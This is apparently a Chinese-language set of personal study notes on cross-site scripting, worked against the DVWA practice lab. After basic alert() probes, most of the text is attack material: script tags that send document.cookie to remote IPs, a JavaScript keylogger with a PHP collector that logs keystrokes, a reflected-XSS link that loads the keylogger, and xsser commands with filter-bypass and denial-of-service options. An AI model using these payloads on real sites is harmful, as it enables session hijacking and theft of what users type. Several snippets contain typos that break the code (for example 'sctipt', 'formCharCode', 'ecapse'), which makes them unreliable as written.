xss.md
xss
cross-site-scripting
javascript
- 嵌入html
<sctipt>alert("XSS");</script>
- 元素标签:
<body onload=alert('XSS')>
- 图片:
<img src="javascript:alert("XSS);">
- 其他:
<iframe>, <div>, <link>
- DOM对象,篡改页面内容
类型
- 存储型
- 反射型
- DOM型
xss检测
<a href="192.168.1.1">click</a>
<script>alert("XSS")</script>
<a href='' onclick=alert("xss")>type</a>
<img src="http://1.1.1.1/a.jpg" onerror=alert("xss")>
xss利用
nc -vnlp 80 #攻击机上执行
被攻击执行
<script>window.location="http://www.sina.com"</script>
<script>window.location="192.168.1.102"</script>
<iframe src="http://1.1.1.1/victim" height="0" width="0"></iframe>
<script>new Image().src="http://192.168.1.102/c.php?output="+document.cookie;</script>
<script src="http://1.1.1.1/a.js"></script>
a.js
var img = new Image();
img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
键盘记录器
keylogger.js
document.onekeypress = function(evt){
evt = evt || window.event
key = String.formCharCode(evt.charCode)
if (key){
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST","http://1.1.1.1.keylogger.php",true);
http.setRequestHeader("Content-type","applicant/x-www-form-urlencode");
http.send("key="+param);
}
}
Keylogger.php
<?php
$key = $_POST['key'];
$logfile = "keylog.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>
<script+src="http://1.1.1.1/keyloger.js"></script+src>
<a href="http://192.168.1.102/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.1.103/keylogger.js'></script>"xss</a>
Xsser
xsser -u "http://1.1.1.1/dvwa/" -g "xss_r/?name=" --cookie="dadadadsadasddsadsa" -v --reverse-check
-u :
url
-p:
post
-g:
get
--heuristic:
启发式的,检测被过滤的字符
--reverse-check:
连接至返回的url(反向连接)
绕过过滤机制
对payload进行编码
--Str
--Une
--Mix
--Dec
--Hex
--Hes
--Dwo
--Doo
--Cem=CEM
xsser -u "http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=high; HPSESSID=d23e469411707ff8210717e67c521a81" --Cem='Mix,Une,Str,Hex'
注入检测
--Coo
--Xsa
--Xsr
--Dcp
--Dom
--Ind
--Anchor
--Phpids
攻击
--Doss
--Dos
--B64
--Onm
--Ifr
存储型
DOM
<script>
var img = document.createElement("img");
img.src = "http://192.168.11.12:88/log?"+ecapse(document.cookie);
</script>